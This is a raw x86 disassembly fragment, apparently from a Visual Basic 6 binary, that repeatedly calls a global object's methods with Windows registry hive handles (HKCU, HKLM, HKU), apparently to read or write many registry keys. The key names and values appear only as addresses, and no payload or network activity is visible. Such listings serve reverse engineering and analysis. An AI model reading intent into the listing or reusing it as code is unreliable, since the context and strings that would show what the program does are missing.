call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x13c], 0x573db0
jmp 0x553b85
mov dword [ebp - 0x13c], 0x573db0
mov ecx, dword [ebp - 0x13c]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
mov edx, 0x41fb90
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41fb64
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41fb00
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000001
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0xb4]
push eax
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x553c20
push 0x2c
push 0x41f62c
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x140], eax
jmp 0x553c2a
mov dword [ebp - 0x140], 0
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x13
cmp dword [0x573db0], 0
jne 0x553c6d
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x144], 0x573db0
jmp 0x553c77
mov dword [ebp - 0x144], 0x573db0
mov eax, dword [ebp - 0x144]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
mov edx, 0x41fb90
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41fb64
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41fc54
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000003
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x553d12
push 0x2c
push 0x41f62c
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x148], eax
jmp 0x553d1c
mov dword [ebp - 0x148], 0
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x14
cmp dword [0x573db0], 0
jne 0x553d5f
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x14c], 0x573db0
jmp 0x553d69
mov dword [ebp - 0x14c], 0x573db0
mov edx, dword [ebp - 0x14c]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
mov edx, 0x41fb64
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41d4cc
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41fd14
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0xb4]
push ecx
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x553e04
push 0x2c
push 0x41f62c
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x150], eax
jmp 0x553e0e
mov dword [ebp - 0x150], 0
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x15
cmp dword [0x573db0], 0
jne 0x553e51
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x154], 0x573db0
jmp 0x553e5b
mov dword [ebp - 0x154], 0x573db0
mov ecx, dword [ebp - 0x154]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
mov edx, 0x41feec
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41fed8
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41fe40
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0xb4]
push eax
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x553ef6
push 0x2c
push 0x41f62c
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x158], eax
jmp 0x553f00
mov dword [ebp - 0x158], 0
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x16
cmp dword [0x573db0], 0
jne 0x553f43
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x15c], 0x573db0
jmp 0x553f4d
mov dword [ebp - 0x15c], 0x573db0
mov eax, dword [ebp - 0x15c]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
mov edx, 0x41ffe0
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41d4cc
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41ff38
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x553fe8
push 0x2c
push 0x41f62c
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x160], eax
jmp 0x553ff2
mov dword [ebp - 0x160], 0
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x17
cmp dword [0x573db0], 0
jne 0x554035
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x164], 0x573db0
jmp 0x55403f
mov dword [ebp - 0x164], 0x573db0
mov edx, dword [ebp - 0x164]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
mov edx, 0x41fdb8
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x42000c
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41ff38
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0xb4]
push ecx
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5540da
push 0x2c
push 0x41f62c
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x168], eax
jmp 0x5540e4
mov dword [ebp - 0x168], 0
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x18
cmp dword [0x573db0], 0
jne 0x554127
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x16c], 0x573db0
jmp 0x554131
mov dword [ebp - 0x16c], 0x573db0
mov ecx, dword [ebp - 0x16c]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
mov edx, 0x41fbfc
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41fdc8
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
push 0x573548
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5541bf
push 0x2c
push 0x41f62c
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x170], eax
jmp 0x5541c9
mov dword [ebp - 0x170], 0
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
mov dword [ebp - 4], 0x19
cmp dword [0x573db0], 0
jne 0x554208
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x174], 0x573db0
jmp 0x554212
mov dword [ebp - 0x174], 0x573db0
mov ecx, dword [ebp - 0x174]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
mov edx, 0x41fc20
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41fdc8
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
push 0x573550
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5542a0
push 0x2c
push 0x41f62c
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x178], eax
jmp 0x5542aa
mov dword [ebp - 0x178], 0
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
mov dword [ebp - 4], 0x1a
cmp dword [0x573db0], 0
jne 0x5542e9
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x17c], 0x573db0
jmp 0x5542f3
mov dword [ebp - 0x17c], 0x573db0
mov ecx, dword [ebp - 0x17c]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
mov edx, 0x41fe28
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x42000c
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41fd14
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0xb4]
push eax
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x55438e
push 0x2c
push 0x41f62c
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x180], eax
jmp 0x554398
mov dword [ebp - 0x180], 0
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x1b
cmp dword [0x573db0], 0
jne 0x5543db
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x184], 0x573db0
jmp 0x5543e5
mov dword [ebp - 0x184], 0x573db0
mov eax, dword [ebp - 0x184]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
mov edx, 0x42001c
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0xb4]
push eax
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x1c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x55445c
push 0x1c
push 0x41f62c
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x188], eax
jmp 0x554466
mov dword [ebp - 0x188], 0
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
mov dword [ebp - 4], 0x1c
cmp dword [0x573db0], 0
jne 0x55449b
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x18c], 0x573db0
jmp 0x5544a5
mov dword [ebp - 0x18c], 0x573db0
mov eax, dword [ebp - 0x18c]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x4200e4
push 0x42007c
push 0x80000002
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x554508
push 0x24
push 0x41f62c
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x190], eax
jmp 0x554512
mov dword [ebp - 0x190], 0
mov dword [ebp - 4], 0x1d
cmp dword [0x573db0], 0
jne 0x55453e
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x194], 0x573db0
jmp 0x554548
mov dword [ebp - 0x194], 0x573db0
mov ecx, dword [ebp - 0x194]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
mov edx, 0x420208
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x4201f4
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x420120
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000003
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0xb4]
push eax
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5545e3
push 0x2c
push 0x41f62c
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x198], eax
jmp 0x5545ed
mov dword [ebp - 0x198], 0
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x1e
cmp dword [0x573db0], 0
jne 0x554630
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x19c], 0x573db0
jmp 0x55463a
mov dword [ebp - 0x19c], 0x573db0
mov eax, dword [ebp - 0x19c]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x4203a8
push 0x4202e8
push 0x80000003
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x55469d
push 0x24
push 0x41f62c
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x1a0], eax
jmp 0x5546a7
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 4], 0x1f
cmp dword [0x573db0], 0
jne 0x5546d3
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x1a4], 0x573db0
jmp 0x5546dd
mov dword [ebp - 0x1a4], 0x573db0
mov ecx, dword [ebp - 0x1a4]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x42044c
push 0x4203ec
push 0x80000001
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x554740
push 0x24
push 0x41f62c
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x1a8], eax
jmp 0x55474a
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 4], 0x20
cmp dword [0x573db0], 0
jne 0x554776
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x1ac], 0x573db0
jmp 0x554780
mov dword [ebp - 0x1ac], 0x573db0
mov edx, dword [ebp - 0x1ac]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0x419128
push 0x80000001
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x20]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5547de
push 0x20
push 0x41f62c
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x1b0], eax
jmp 0x5547e8
mov dword [ebp - 0x1b0], 0
mov dword [ebp - 4], 0x21
cmp dword [0x573db0], 0
jne 0x554814
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x1b4], 0x573db0
jmp 0x55481e
mov dword [ebp - 0x1b4], 0x573db0
mov eax, dword [ebp - 0x1b4]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x420468
push 0x80000003
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x20]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x55487c
push 0x20
push 0x41f62c
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x1b8], eax
jmp 0x554886
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 4], 0x22
cmp dword [0x573db0], 0
jne 0x5548b2
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x1bc], 0x573db0
jmp 0x5548bc
mov dword [ebp - 0x1bc], 0x573db0
mov ecx, dword [ebp - 0x1bc]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x42058c
push 0x42051c
push 0x80000002
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x55491f
push 0x24
push 0x41f62c
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x1c0], eax
jmp 0x554929
mov dword [ebp - 0x1c0], 0
mov dword [ebp - 4], 0x23
cmp dword [0x573db0], 0
jne 0x554955
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x1c4], 0x573db0
jmp 0x55495f
mov dword [ebp - 0x1c4], 0x573db0
mov edx, dword [ebp - 0x1c4]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0
push 0x4205ac
push 0x42051c
push 0x80000002
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x34]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5549c4
push 0x34
push 0x41f62c
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x1c8], eax
jmp 0x5549ce
mov dword [ebp - 0x1c8], 0
mov dword [ebp - 4], 0x24
cmp dword [0x573db0], 0
jne 0x5549fa
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x1cc], 0x573db0
jmp 0x554a04
mov dword [ebp - 0x1cc], 0x573db0
mov eax, dword [ebp - 0x1cc]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x420624
push 0x4205c4
push 0x80000002
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x554a67
push 0x24
push 0x41f62c
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x1d0], eax
jmp 0x554a71
mov dword [ebp - 0x1d0], 0
mov dword [ebp - 4], 0x25
cmp dword [0x573db0], 0
jne 0x554a9d
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x1d4], 0x573db0
jmp 0x554aa7
mov dword [ebp - 0x1d4], 0x573db0
mov ecx, dword [ebp - 0x1d4]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x420668
push 0x4205c4
push 0x80000002
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x554b0a
push 0x24
push 0x41f62c
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x1d8], eax
jmp 0x554b14
mov dword [ebp - 0x1d8], 0
mov dword [ebp - 4], 0x26
cmp dword [0x573db0], 0
jne 0x554b40
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x1dc], 0x573db0
jmp 0x554b4a
mov dword [ebp - 0x1dc], 0x573db0
mov edx, dword [ebp - 0x1dc]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
mov edx, 0x41b9a4
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x4206e0
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x420684
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0xb4]
push ecx
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x554be5
push 0x2c
push 0x41f62c
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x1e0], eax
jmp 0x554bef
mov dword [ebp - 0x1e0], 0
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x27
cmp dword [0x573db0], 0
jne 0x554c32
push 0x573db0
push 0x409234
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x1e4], 0x573db0
jmp 0x554c3c
mov dword [ebp - 0x1e4], 0x573db0
mov ecx, dword [ebp - 0x1e4]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
mov edx, 0x420758
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x420738
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x420704
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000001
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0xb4]
push eax
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x554cd7
push 0x2c
push 0x41f62c
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x1e8], eax
jmp 0x554ce1
mov dword [ebp - 0x1e8], 0
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
